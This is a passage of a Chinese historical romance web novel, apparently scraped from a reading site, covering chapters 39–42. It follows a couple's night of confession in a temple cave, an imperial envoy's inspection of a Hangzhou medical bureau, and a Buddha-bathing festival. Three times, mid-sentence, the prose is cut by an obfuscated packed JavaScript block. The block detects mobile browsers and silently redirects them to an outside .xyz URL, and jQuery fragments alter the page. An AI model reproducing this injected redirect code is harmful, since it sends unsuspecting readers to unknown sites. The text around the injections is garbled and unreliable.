君迁接过石子,在她刚写的忏文旁刻下一行小字。金坠捧着瓶中燐火细观,却见他逐字写道: “茱萸本苦口,何以金难换。” 书毕,回首望着她的眼睛,略带伤感却笃定地说道: “对不起,我不该用那盒山茱萸果骗你。待从这里出去后,你便将它还给我吧。我应允你的事,仍会做到的。” 金坠只觉心中一沉,故作淡然道:“你我毕竟歃血为誓签过契书,万没有中途毁约的道理。再说我都快攒齐钱了,你那盒果子也早就拆了封,岂可完璧归赵?索性就依照契约来吧,就当什么都没发生过。” 君迁深望着她:“你不怨我?” “我都向神明起过誓了,从今往后要以德报怨,虔心向善。今夜你我既同困在这窟中,亦算是冥冥注定。过往种种,便一并尘封于此吧——就像这些画中之人一样。” 金坠仰望着石壁上的那些斑驳彩绘,莞尔一笑,又从君迁手中抢过石子,重重地往自己的供养人小像旁刻下一道深痕。 “我还没忏悔完呢——我不该成天逼你吃一堆奇奇怪怪的东西,又对你冷嘲热讽,害你提心吊胆,寝食难安。” 君迁闻言一哂,取过石子,亦在他自己的肖像旁刻下一道重痕:“来杭途中,不该独自出诊,害你担惊受惧。” 金坠不服输,在自己这侧补刻了一道:“新婚之夜,不该大闹洞房,害你连夜出逃。” 君迁照例在他那边刻下一横:“不该以蛇虫药引恐吓你。” “不该乱采你药园子里的花草。” “不该……” 二人就这样你一横我一道,轮番在墙上刻着。明明是忏悔,却似攀比较劲一般,绞尽脑汁,连丁点芝麻琐事都不放过。终于无事可书,依依不舍地搁了笔,那枚充作笔墨的石块已被磨得像粒珠子了。仰头一看,小半面石壁上密密镌满了划痕,承载着他们的心语,与前人留下的那些壁画一道交映于烛火下,远观似半壁护持秘经,在尘埃之中守着这座百年庙宇。 瓶中的最后一块燐石燃尽了,流萤似的幽光熄灭,黑暗复又笼罩了石窟。一时无话。金坠轻叹一声,嗫嚅道: “天快亮了吧?” 蓦地一阵异动从石窟外传来,君迁忙将她拉至身侧。二人紧贴墙垣,屏息敛神,但见那截挡在窟门前的木梁被从外侧慢慢抬开。只听一伙人在外窃窃私语道: “快些快些!就快卯时初了,速速清场回去!若被人发觉,咱们这一夜可就白忙活了!” “这木梁子那么重,一时半会儿也处理不了呀!瞧这上好的岭南老檀木,当初运来途中还翻船死了好些人呢,刚上梁不久竟又要拆了!” “什么金木银木早晚都是朽木,抬去后山埋了便是!” “再检查检查,天明后帝京的钦差可就来了,若还有什么没拆干净的被瞧见,届时张大官人怪罪下来,咱们非但没了工钱,指不定还要被抓去替罪呢!” “好好的绸行,刚修了一半,一夜之间愣是给拆了!你说这张大官人一向在杭州横着走,此番是惹上什么麻烦了,引得宫里的钦差亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158914|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来查他?” “那王知州不是一向同他好说话么,今次也不提前给透个风,害得咱们做贼似的,连夜跑来拆墙脚!明明日间还风风光光地行了动土仪式呢!” “这庙里供的毕竟是药王真人,该不会真是惊动了神脉,降下报应来了吧……” 众工人边抬木桩边抱怨,全然不知隔墙有耳。良久月落日升,天光微明,外头终于重归寂静。横亘在窟前的木梁已被移走,金坠和君迁轻步挪至石窟门畔,确认人去庙空,终于松了口气,匆匆跑出窟去。 二人困了一夜,重见天日,环顾四下,面面相觑,却见这药王庙已大变了样。来时横七竖八的木梯架已被拆得一干二净,挡在庙前的围栏亦不复存在。殿宇之中仍如旧貌,四角崭新的雕花梁枋和彩绘斗拱已被拆除,显得摇摇欲坠,形如风卷残云,徒留一片荒芜。若非亲眼目睹,他们定不会相信此处本将平地而起一座丝绸行,更无法想象一夕之间,这锦绣金窟又尽付了断壁残垣。 “这……是怎么回事?”金坠茫然四顾,“我们不会是被困得太久,神魂出窍了吧?” 君迁亦如堕五里迷雾,见天色愈来愈亮,蹙眉道:“此地不宜久留,我们先走吧。” 金坠点点头,正要从山门出去,君迁拽住她:“天明了,从此处出去恐引人耳目。” 金坠疑道:“这儿就这一个门,还能从哪儿走?” “随我来。” 君迁兀自携了她的手,绕过正殿,来到偏殿院角围墙边的一口枯井前,指了指井后沿山坡蜿蜒而上的一条草径。金坠见状笑道: “难怪盈袖昨晚说,看见你往山上去呢。原来是绕路做梁上君子,不对,梁下恶鬼来了。” 君迁一哂:“你不也随我一道做了回鬼么?” 金坠瞪他一眼,忽紧张道:“这庙既不拆了,我们昨晚在墙上写的那些……岂不要面世了?不行,我得回去抹掉……” 君迁盯着她:“你在意被人看见么?” “我……” “那座石窟如此偏僻,我想无人会注意的。况字迹潦草,纵是细看亦未必辨认得出。”君迁见她面露忧色,又道,“你若不放心,下回我寻机来抹除。” “没事……走吧。” 金坠笑了笑,抬头望着那堵比人高的围墙。正踌躇着,君迁问道: “上得去么?” 金坠摇摇头。还未回过神来,君迁已俯身轻环住她的腰身,将她高举至墙头。金坠被他抱起,忙伸手撑住墙垣,又在他的扶持下一踮足,终于越过围墙,攀上了一墙之隔的山坡。 她气喘吁吁地蹲在芒草丛中俯瞰,见君迁披散着发,一袭广袖白袍,正踏着那口枯井翩然翻身上墙。想到自身亦是这般,不禁抿唇发噱道: “我们这副披头散发的模样,一会儿别人见到,真当是山里跑出的男鬼女鬼呢!” 君迁从墙上跃身而下,拭了拭衣上尘土,淡淡道:“就不能是幽隐山林的仙侣?” 金坠正色:“怎么,你要和我做仙侣?” 君迁似笑非笑地看着她:“你不想么?” 金坠有些意乱地撇过脸去,低低道:“你本就是尊医仙,清规戒律一堆,我可受不了……仙鬼殊途,我还是做我的山鬼自在!” “那样也好。”君迁一笑,欲言又止,敛容道,“昨夜……多谢。” “谢什么?” “谢谢你在这里。”君迁深望着她,“我会记得的。” 山色拂晓,烟岚曦光在初夏晨风中随林间鸟啼一并氤氲而生,映在他眼中,显得澄净而深浓。金坠轻轻闭上眼,又睁眼看向他,认真道: “那你可要一直记得——记到墙上的那些痕迹都褪尽了为止。” 君迁庄重地点点头:“好。” 金坠信目望着眼前成片幽竹,看着星点日影金雪般自竹叶间洒落,粲然道:“又是新的一日了,我们回家去罢!” 40.赠芍药 二人好容易从药王庙中脱困,趁着拂晓赶回家。抵达半道红坊巷已是卯时末了,车流叫卖声渐响。彻夜在百年窟穴中经历一番探险后回到阳间,颇令人有些恍惚。金坠感叹道: “也算是去鬼门关走了一遭!我头一次晓得回家的感觉竟这样好。” 君迁一哂:“金屋银屋不若自家草屋。” “要是金屋银屋也就罢了,偏是个又黑又冷的石屋!我还是老实睡自己塌上吧。” 金坠撇撇嘴,忽嗅到一阵酥油香飘来,见前头有家烤饼摊,如遇救星,小跑过去买回两个喷香的热酥饼,递了一只给君迁,正色道: “请你的——就当是你我共度良宵的报酬。” 君迁亦正色道:“良宵一刻值千金,你就给我这点酬劳?” “得寸进尺!”金坠白他一眼,“爱吃不吃,反正你道行高,饿不死你。” 君迁抿了抿唇,接过那只刚出炉的热酥饼咬了一口。正啃着饼往前走,忽有一个卖花姑娘提着篮芍药来向金坠兜售: “娘子买枝芍药花吧!这是今春最后一茬花儿了,再开便要等明年了呢。” 金坠正想挑一枝,忽想起家中每日都被盈袖那散花天女装点得团圆锦簇,摇头苦笑:“我家没有空花瓶了呢。” 没走出几步,眼前忽如春风徐来,掠过一撇绯红的花影。金坠驻足抬眸,只见君迁静立身前,将手中一枝暗香扑鼻的芍药递给她,认真地说道:“礼尚往来。” 金坠一怔,从他手上接过那芍药花去嗅了嗅,笑道:“一个饼儿换一枝花儿,倒也不亏——好香呀,可惜只能看不能吃。” “你若想吃,回去按食谱做就好。芍药入馔,倒是一味食疗补方。” “在你眼里万物皆可入药!我可不是辣手摧花之人,这花儿那么美,还是回去供起来吧。”金坠拈花一笑,“等花谢了再给你做药材!” 走走聊聊,不觉已到家门前。小婢子苏合正在庭前柳树下扫着落絮,忙迎上前道: “郎君娘子去哪里了?一夜都不见你们回来,可急煞了人!” 金坠微笑:“我们一时兴起,去山中夜游了。” 苏合见君迁长发白袍,随风飘逸,活像个云游散仙,满脸狐疑:“夜游?郎君怎这副打扮?” 金坠一本正经道:“路遇一户人家为病人跳神做法,见你家郎君生得像药王转世,非要拉他去扮神呢。医者不好见死不救,便答应了,这不刚救完人回来——瞧,人家为表谢意,还送了我们一枝花儿呢!” 苏合瞪大了眼:“咦,咱们沈学士几时会法术了?病人治好了么?” 金坠故意不言,乜斜着他。君迁只得顺着她的话道:“……治好了。” “立竿见影,妙手回春!”金坠幽声补充。 苏合雀跃抚掌:“太好了!以后咱们生病都不用吃药了!” 君迁低低道:“药还是要吃的……” “少吃些也好!郎君昨晚是怎样施法治病的,可要念咒语么?” 苏合信以为真,拽着君迁问个不停。金坠恐他露馅,截住她问道:“宛童去哪儿了?” 苏合道:“宛童姊姊见娘子一夜未归,急得什么似的,天没亮就出去寻你了呢!” “怪我不好,这下该换我去寻她了。”金坠不禁苦笑。 君迁去看了眼铜漏,见时候不早,忙道:“我也得去药局了。” 苏合道:“郎君娘子一宿未睡,不歇息歇息么?” 金坠拈着手里那枝芍药花儿一转,笑道:“放心,我们方从太虚幻境神游归来,大梦初醒,精神得很呢!” 君迁回屋匆匆洗漱更衣,回归平日一丝不苟的学士郎模样,即刻马不停蹄地赶往杭州药局。门前早已塞满了前来看病的百姓,认识君迁的见了他,皆向他热情致意。君迁一面回礼,一面侧身挤进了药局。刚进门还没来得及喘口气,便被人一把拽到角落: “我的祖宗,你可算来了!” 君迁吓了一跳,抬头见梁恒火烧眉毛地杵在面前。他也正想找梁恒,低语道:“借步说话。” 二人避开局中同僚,拐进后堂药库中掩紧了门。梁恒不待君迁开口,焦急道:“你晓得么?凤凰山药王庙那天煞的丝绸行连夜停工了!” “我知道……” 君迁话刚出口就被梁恒打断,气冲冲道: “你知道还不和我说?害我这几日忙进忙出,昨晚上还请人喝酒打点关系,耗费不少精力财力!” 君迁道:“我只听说连夜停工之事,并不知具体缘由。” 梁恒瞪大了眼:“敢情你还不知道那事儿?” “何事……?” “听说昨夜帝京来了急递,王知州着急忙慌地找来织造院的张大官人,连夜下令把庙王庙建了一半的绸行拆了,今早就人去楼空,就像什么都没发生似的!苏通判一早就来找你,见你还没来,就先到府衙去了,估计正要商议这事呢!” 君迁闻言一怔,又听梁恒压低音量道: “他们忽然掉头,准是嗅到了什么风向——会不会是金宰执递话了?那王知州可是金霖的得意门生。他们那伙人不是向来叱咤风云么,怎突然偃旗了,是不是帝京出了什么变故,波及到了杭州?听小道消息说,最近兵部、刑部等好几个朝廷要职都有变动……你可听说了什么内情?” 君迁蹙额道:“此事当真?” “我还想问你呢!”梁恒急道,“我的祖宗,你到底是不是当今宰执的女婿,怎么凡事总是最后一个知道的?” 君迁冷声道:“我若对这些了如指掌,今日恐无缘与梁医正在此谈话了。” “那倒也是。”梁恒努努嘴,“其实有件事我一直很好奇——当初我还以为沈学士是新婚燕尔,借巡诊之名来杭州游山玩水呢。谁知你竟真是来施药济病的,还要做这吃力不讨好的药王供养事业!” 梁恒言至此,倏地凑近君迁,意味深长地端量着他: “你既暗中与金相作对,何苦娶他女儿?不仅没捞着金龟婿的好处,还玷污了自己的淡泊名声……” 君迁淡淡道:“你猜。” “我猜么……”梁恒摸着下巴思忖片刻,怅然咏道,“孔雀东南飞,五里一徘徊……” 君迁白他一眼:“没那么凄凉。” “那就来句甜蜜的——身无彩凤双飞翼,心有灵犀一点通。”梁恒抱臂一哂,“两情相悦,比翼南飞,夫复何求?药王有眼,如今那天煞的绸行被一窝端了,你那施济局的苦差大约是有了着落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163862|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你家娘子也可安心了!” 君迁道:“关于此事,你可还知晓些什么?” “我又不是包打听,还能知道什么?一会儿午休咱们去寻苏通判问问,他老人家位高权重,必然清楚些内幕。” 梁恒说着叹了口气,幽幽道: “唉,我还以为是咱们那天在西泠收买人心的功劳呢,白忙活数日,看来还是上头有人,一声令下最好使!对了,你是怎么知道他们昨夜停工的?” 君迁岂会告诉他自己在药王庙里被关了一夜,只道:“我……我今早在路上听说的。” “这么点儿芝麻大的事,居然一大早就传开了?可见正是民心所向!如今端了那销金窟,好生给药王重立尊金像,日后咱们于此施药济病广开悲田,想想都是无量功德哩!” 梁恒美滋滋地盘算着。君迁轻叹一声,感觉他们在此待得过久了,正要唤他出去,药库的门忽开了。一个负责管药的少年医学生走进来,见了他们惊讶道: “沈学士,梁医正,你们在此处做什么?” 梁恒连忙上前道:“昨日说今早有新药入库,沈学士不放心,我陪他来此察验——药材都到了么?” “刚到,正要运进来呢。” 少年说着,示意身后的货郎将一车生药推进药库,逐一清点入仓。君迁在旁看着,忽指着其中一筐树根块似的药材道: “那是草乌么?” 医学生点头道:“是草乌,刚到的新货。” 君迁皱了皱眉:“此药不易起效,且有微毒,常服有损脾脏,该以川芎替换的。” 那正在运药的货郎闻言,高声插话道: “谁不知道川芎好?这时节风湿频发,祛风镇痛药紧俏得很,你们上头拨的药钱就这么些,连这些草乌头都是赊了下月的账急调来的,尚且供不应求,哪还进得起川芎呀?” 君迁冷冷道:“据我所知,川芎的市价应为每两十钱。药局每月公款数万,不至进不起吧?” 货郎撇嘴:“那就要问你们管账的了。” 君迁道:“管账的是谁?” 货郎冷笑道:“你们日日在这药局里头坐堂都不晓得,我只是个替人运货的,哪会知道?别挡着道,运完这儿还有下家等着呢!” 君迁摇了摇头,兀自走到一旁。梁恒低声劝他道:“这些生药市价低廉,百姓好歹吃得起,总比在家喝白水好。” 那少年医学生见他们站着说话,也走上前来,有些怯怯地对君迁道:“沈学士,你现下有空么?我有个经方上的疑处想请教你……” 君迁颔首:“你问吧。” “沈学士稍等,我去取书来!” 少年欢喜地跑出去了。梁恒望着那年轻的背影感慨:“那小子不久就要参加医科秋试,若中了,明年你回太医局教书,大概就能见到这勤奋的后生了。想我在他这年纪时,若知道自己日夜苦记经方药典,只为了日后在这缺斤短两的药库里做无米之炊,打死我也不会入这行!” 君迁道:“或许他以为到了太医局,情形会有不同吧。” 梁恒歪头望着他:“有不同么?” 君迁无话可说,只得苦笑。二人相视一哂,满怀幽思,看着那些苦口良药静悄悄地填满了库房。 41.杏橘咏 君迁亲眼目睹了药王庙绸行连夜被拆,一早又从梁恒口中得知了官场异动,一时惊倦交集,人在魂丢。偏他又是药局里的顶梁柱,众医官一有疑难杂症全都跑来问他。百姓闻说有个帝京来的学士郎在此坐诊,亦是一股脑儿奔他而来。他不愿被瞧出一宿未眠,寻空转身替自己扎了几针提神,终于捱完了午前的诊时。 饭点将至,医患们鱼贯而出,闹腾一晌的药局适才清净。君迁惦记着去寻苏通判询问药王庙之事,便示意一旁的梁恒随自己同行。梁恒却向他使了个眼色,指了指门边。君迁顺势望去,却见外头旋风似的闯进一伙人来——一水的青蓝官服,正是杭州府衙的人。 为首一个佐史模样的文官走上前来,趾高气昂道:“帝京钦使莅临访查,即刻便至。一会儿还请诸位收敛言行,好生侍奉着!” 尚在药局的除了君迁和梁恒,便只剩那个在药柜前埋头备考的少年医学生,闻言忙道: “这会儿大家都出去吃饭了,要不我去把他们唤回来?” “不必了,钦使行程紧,转一圈儿便走,诸位该干嘛干嘛。”那官员说着轻咳一声,“一会儿钦使若发问,你们不知道的便只管说不知道,晓得么?” 梁恒朗声道:“那知道的呢?” 那官员瞪他一眼:“你知道什么?” 梁恒笑道:“学生虽不才,却也上知奇经八脉,下知百草千药,懂得可不少哩!一会儿钦使若指着那墙上的人体穴位图不耻下问,或是在药库里见着什么叫不出名来的草药生了好奇心,我是说还是不说?” 那官员见他言不及义,面露悻然。忽闻门外足音纷至沓来,忙扭头上前迎接。 只见药局堂前款步走进一位鹤发老者,身后跟着两名青年随员。那老者虽着便服,气度不凡,君迁一眼认出他正是皇帝身边的那位内侍监,不禁心中一动。老中官身旁陪着一位红袍大官,面相圆滑,暗藏锋芒,不用猜便是那位王知州。通判苏夔亦着官服陪侍其后,远远向君迁点了点头,便陪着钦使一行说话了。 那王知州平日神龙不见首,今日却似熟门熟路,一面引着何中官在药局四下逡巡,一面徐徐道: “未料中贵人今日刚至杭州便莅临药局,不及知会到位,招待不周,还望见原——此处只有你们二人么?其余医官都在何处?” 王知州说着,瞥向一旁的君迁和梁恒,神情颇不客气。梁恒正要回嘴,何中官却微笑道: “正值饭点,他们还能在哪儿?这里的药又不能当饭吃!这地方不大,我随意转转便好,不劳你们。” “这药局虽不大,涉及医药之事,却也颇为繁杂。此间平日事务贯由曹主事主理,还是由他向中贵人陈述吧。” 王知州语毕,向身侧使了个眼色。方才那个佐使模样的官员旋即上前述职,口若悬河,滔滔不绝,所言无不是药局如何扶伤救死福泽万民。何中官只管耐心听着,不时微微颔首,倒也不多问什么。待对方说完,举目望着堂前高悬的一幅字匾叹道: “好字!不知典出何处?” 那曹主事忙指着“杏林橘井”四个行书大字道: “此乃吴越知名书家杜和谨先生的墨宝,药局开业之初由先生当场题写,取晋代医仙葛洪仁心济世之典,以兹勉诫众医官效葛医仙大德,使得杏林春暖,橘井泉香……” 何中官打断道:“哦,我想起来了——抱朴子的《神仙传》我倒也读过几篇,这些仙迹确记在上头。可我记得,以杏树代收药费的是三国名医董奉,开橘井施药的则是汉朝一个叫苏耽的医者,与葛洪本人无关吧?” 曹主事一愣,面露窘色。何中官微微一哂,兀自说道: “说来巧得很,这本书当年还是沈学士荐给我的哩。那会儿沈学士还在东宫陪今上读书,有一回我奉先帝之命去寻今上,他们却都趁着放课出去玩儿了,只有沈学士一个人坐在阶前看书。我见他身旁尽是些从太医局借来的深奥的医书药典,唯独有本《神仙传》还算有趣,便拿去翻了翻。沈学士直接将那书转借给了我,只说这本是无意夹带进来的,让我看完自行归还便可。托他的福,那倒是我唯一读得懂的医家之作了——快十年了吧,沈学士可还记得这桩往事?” 他言毕抬首,和颜望向湮没在人后的君迁。君迁一怔,忙上前致礼道: “昔年有赖中贵人代为还书,未曾言谢,在此补足,还望不迟。” 何中官笑道:“自从沈学士来了杭州,陛下便时常惦记着你,还常与我说,有君坐镇这方杏林橘井,想必春暖泉香之景不再是书中仙迹了!” 君迁闻言一哂,只谦称谬赞。边上王知州见他们当面叙起旧来,微微皱了皱眉,暗中向曹主事使了个眼色。后者忙上前打断道: “今早药局刚入库一批生药,中贵人何不至库中一观?” 语毕不由分说,将访客引往后堂药库。一进门便指着架上满满当当的药材道: “此间药材皆为应季新采,品质上佳。药费循例皆走明账,明码标价供应百姓所需。这是本季采买清单,还请老中贵过目……” 何中官并不去接他递来的清单,开玩笑似的道: “有沈学士和诸位医士在此验货,老朽就不班门弄斧了——你们总不会欺我老眼昏花,同那城门口摆摊的药贩子一般,将野菌子充作千年灵芝卖吧!” 苏夔笑道:“若是寻常的菌子也罢了,只恐那些花花绿绿的,一口下去,不必吃什么灵芝,自已是百年千年身了!” 何中官道:“说到这个,前回来的大理国使臣进献了一种滇中特有的红蕈,模样漂亮得很,据说一口能毒死十头牛哩!雍阳长公主不信邪,当真叫人拉来了十头牛,果真都死了。膳房嫌扔了可惜,便做成断头饭给死囚吃。哪知那些死囚们连吃了数十顿牛肉,命倒还在,就是个个性情大变,直喊着要斋戒茹素哩……若是那种菌子,倒比什么灵芝来得稀罕!” 苏夔戏言道:“听闻大理国崇佛向善,人人虔信好生,原是因此之故。” 何中官笑道:“南荒之地遍生毒物,如履薄冰,久居自易勘破生死无常。不像咱们这儿物产丰厚,以至鱼龙混杂,人心怠惰,久之连是药是毒都分辨不出喽!” 老者语毕,意味深长地望向王知州与曹主事。二者面面相觑,一时语塞,只得连连赔笑。老中贵也不与他们啰嗦,在药库里四下逡巡一番便离开了。将行之际,从怀中取出一封书信递给君迁,郑重道:“陛下手谕。” 君迁一愣,忙上前接过。正要启封,何中官微笑道:“陛下有言,阔别已久,只想同你叙叙旧罢了,沈学士得空再看无妨。” 君迁急忙道谢。何中官又转头对苏夔道: “我还要同王知州他们去织造院转转,看看丝绸。苏通判尚有公差在身,就不必随我了——对了,你答应送我的那幅字,切莫食言呐!我此行杭州,最惦记的就属你苏大才子的文墨了!” 苏夔笑道:“回去就写,必赶在中贵人返京前送至官驿!” 老中贵亦是一哂,伸手拍了拍苏夔,又拍了拍君迁,转身走出药局。众人目送一行人远去,一旁的梁恒忽叹了口气,戏谑道: “好一个何老中贵,不愧三朝元老,举重若轻!要不知情,我还以为那王知州和曹主事才是宫里来的太监呢!” 苏夔冷笑道:“他们何尝不是呢?” 梁恒啐道:“是啊,奸党专属的太监!不过他们的主子今次可不再像以往那么风光喽——苏通判,朝中究竟发生何事,连杭州都波及到了?昨夜一夕之间,凤凰山药王庙那丝绸行竟被偷偷拆得一干二净了……” 苏夔转向君迁:“你也听说了吧?” 君迁颔首:“不知是因何故?” 苏夔沉声道:“这半个月来,帝京异动频频,弹劾势起。我也是才听说——就在前日,枢密使元启、三司使康弘之二人被参贪墨国帑,连夜缉拿下狱,牵连者甚众。” 梁恒大惊:“这两人可是金霖的左膀右臂啊!一夜之间竟都拿下了?那金宰执本人呢?” 苏夔道:“他本人如何尚不清楚,下头的人倒是纷纷闻风而动了。风过了无痕啊,那凤凰山绸行一夜之间人去楼空,倒也符合他们的作风。” 君迁蹙眉:“是金宰执下令拆除的?” 苏夔苦笑道:“你当你那位岳父同你一般,时刻心系这一方小小的施济局?就算他有自保之心,也不至仰赖于此。药王庙绸行的工事大抵是王知州揣测上意,连夜喊停的。毕竟贪墨大案牵一发动全身,若查到帝京之外,江南恐首当其冲。陛下此番遣何中官亲自前来杭州探查,亦是此意。世事难料啊,谁能想到元、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君迁与苏夔心照不宣地对视一眼,尚未说话,梁恒摸着肚子嚷道:“糟了,光顾着说话,险要错过饭点了!二位一道去吃么?” 苏夔道:“我来时已吃过了,你同沈学士去吧。” 君迁道:“你先去吧,我不饿。” “好吧,忘了你是个餐风饮露的医仙!那我可吃独食去咯!”梁恒一哂,一面哼着小曲儿,一面优哉游哉地踱出门去了。 君迁待他走远,低低问苏夔道:“此番帝京官场变故,可是陛下……” 苏夔不置可否,信步窗畔,眺望着一尘未染的初夏青穹,幽幽感慨道: “今上年少而有智勇,不可估量呵。我原以为他初登大宝,会迟些再做这些事,不想竟这般云淡风轻……不容易呵!帝京这些日子想必是暖风藏血雨——好在我们远离其中,且可安下心来了。” 他说着回身向君迁笑了笑,继而话锋一转道: “如今施济局尘埃落定,暂能松口气了。后日是浴佛节休,我要去上天竺拜会一位禅门故友。他老人家虽是出家人,却一心钻研养生之道,听说我认识一位帝京来的医学士,一直念着同你取取经哩!沈学士不妨随我同去吧?就当散散心了——还是你已同令正有约了?” 君迁忙道:“我与苏通判同行便是。” “那我们便在红尘外再会了。”苏夔一哂,指了指君迁手中攥着的那封信,“快拆开看吧,莫让陛下挂念了——看完记得去吃饭午休。不睡不吃,真要成仙了不成?” 君迁一怔,不知他如何得知自己缺觉,转念明白大约是一夜未眠,脸色太难看了。这段时日心念施济局之事,寝食皆废,此刻经上司提醒,方觉饥倦交迫。看着手中那封御书,却又难以轻松下来。将苏夔送出药局,便独自回到药库,在僻静无人处启封。 原以为要颇久才可读毕,展信却只见寥寥数字,正是他自东宫伴读时期便熟悉的秀挺笔锋: “淤塞暂疏。请君畅行杏林,广凿橘井。” 信后另附七言绝句一首,题为《望春》。署名“青鸾居士”,是尚未行冠礼的少年天子元祈威为自己取的号—— “凭栏花明柳暗处,四顾无人对斜阳。风流云散正苍茫,忍教袖手看春光?” 42.浴佛泽 四月初八浴佛节,即释迦牟尼诞辰日,是为一年中最重要的法门盛事。 杭城自古香火鼎盛,各大禅院皆设香汤浴佛,共作龙华浴佛斋会,善男信女倾巢而出,一窝蜂前往祈福。街头亦随处可见僧尼端着贮有小佛像的金皿,浸以糖水,覆以香花,沿街请人以小杓浇灌,以求施利。西湖上还有放生会,舟楫横七竖八,将买来的龟鱼螺蚌一股脑涌入水里,搅得向来宁静的湖面波澜壮阔,蔚为大观。 金坠一向不爱凑热闹。恰逢节休,不必去乔氏绣坊上工,本想在家讨个清静,偏偏乔隽娘昨日约了她同去灵隐寺祈福。雇主之邀不可违,只得早早起来。盥洗梳妆毕,正想趁空绣几针,宛童进屋来催说隽娘的车已在门口等了;她只好放下手中绣扇上的香草,一路踏着前院落满的石榴花小跑出去。 屋外气序清和,云淡风暖。隽娘静立在自家香车前,照旧淡妆浅衫,鬓上簪了一朵白踯躅花,很是典雅。见金坠独自出门来,莞尔上前道: “难得浴佛节休,尊夫不一同去灵隐祈福么?” 金坠道:“宛童说他一早便不见人影,大约是去哪里给人看病了吧!我随隽娘同行便好。” 隽娘笑道:“沈学士终日施药济病,竟比神佛还忙呢。要是浴佛真能够洗去疾病就好了,你夫君亦可轻松些。” 金坠听到她说“施药济病”四字,心中不禁一沉。药王庙绸行连夜被拆,她夫婿张官商的生意做不成了,隽娘不知如何做想?见她谈笑如常,金坠心中五味杂陈,一时缄口不语。隽娘似看透了她的心思,敛容道: “凤凰山之事本属意外,拆便拆了。如此一来,你家那位神医也可安心在此做道场了。” 金坠小声道:“隽娘家里的生意……不会有影响吧?听说宫里的钦使前日来了杭州……” 隽娘从容道:“我家官人已去打听过了,目下暂且无碍。今后如何,便非当下所能顾了。” “隽娘不着急么?” “行商这些年来,账面上下种种,我心里清楚得很。既非意外之财,便也不会有意外之运。我急与不急,又有何妨?” 隽娘语毕,向她淡淡一哂: “金娘子请放心,纵我哪日倾家荡产了,答应你的那十金工钱仍是分文不少的。” 金坠忙道:“我并非此意……” “我晓得。金娘子不仅有双巧手,更有颗锦绣似的心儿。能雇到你这样的绣师,我很感激。今日佛祖生辰,不说这些俗事了。走吧,再晚些灵隐寺里可挤不进去了。” 隽娘温婉一笑,携过金坠的手乘上香车,驶出城门,往灵隐三天竺方向而去。 正值佛诞盛会,街上熙熙攘攘,前去上香的车马一路堵出城外。金坠来杭州后还未出过远门,时而卷帘远眺山水,时而听隽娘介绍沿途胜景,倒也不觉无聊。良久,隽娘忽指着窗外道: “瞧,这便是飞来峰了。” 金坠顺势望去,远见奇石嵯峨,古树苍翠,一座山峰映入眼帘。山并不高,沿溪峭壁之上洞壑遍布,雕有无数石佛菩萨造像,宝相各异,栩栩如生,宛如刚从天竺佛国飞来。沿溪而行,可见西麓池畔有一凉亭,掩映于清泉绿荫之中,名为“冷泉亭”。亭中满是纳凉休憩的游人,观山聆泉,拜佛祈愿,好不惬意。 金坠随隽娘下了车,随人流迤逦而行。经过冷泉亭,便见灵隐寺巍峨的山门屹立于飞来峰正对的山坡上,与依山而刻的众多佛像遥遥相望。 灵隐寺贵为东南古刹之首,素日香客如云,浴佛盛节自不必说。二人挤在长龙般蜿蜒的人流中等待入寺,金坠不禁咋舌。隽娘苦笑道: “这地方就没有空的时候!莫不是大家以为这飞来的山寺哪一日又会飞走,都想趁它还在时来看看吧。也不知是谁取的名儿,好好的一座山,偏叫什么飞来峰!” 金坠笑道:“这便要怪那个天竺来的慧理和尚了。无心一言,错将他乡认作故乡。可惜此灵鹫非彼灵鹫,这山若当真是从天竺飞来的,杭州早已成了佛国乐土,咱们何必挤破头来上香告佛呢?” 隽娘惊讶道:“咦,金娘子初来,竟晓得这番典故?我来这里许多回,还是头次听说什么天竺和尚呢!” 金坠回望着对照飞来峰岩窟中的石刻菩萨像,莞尔道:“从前在书上读到过,便一直想来看看……今日终于如愿了。” 排了半晌队,总算行过山门,踏入这方佛门圣地。灵隐寺始建于东晋,历经百年沧桑,翻修扩建数回,遂以今日之恢宏宝相面世。因地处江南重镇,山灵毓秀,历代皇室南巡时免不了要来此一游。寺中各殿缀满金匾,题有本朝诸位天子御笔,又有皇家钦点高僧住持于此,殊荣堪媲帝京大相国寺。 金坠跟着隽娘费力挤进寺院,但见处处香烟氤氲,锣鼓震天,不免头晕目眩。隽娘却熟门熟路,带着她往佛殿旁一个人头攒动的角落而去。 那儿有个精美的浴佛池。池里浮着五色睡莲,中有一尊童佛金像,一手指天,一手指地,是为释迦牟尼作为天竺太子出世时的模样。池畔置有一柄长竹杓,一众香客正围于此处,轮番取杓从池中舀水,自童佛头顶浇下。池前立着个小沙弥,每有香客舀水浴佛,便合十吟咏: “阿弥陀佛!得浴佛泽,涤除尘垢,身心安稳,吉祥洗乐,智德增长,福德圆满……” 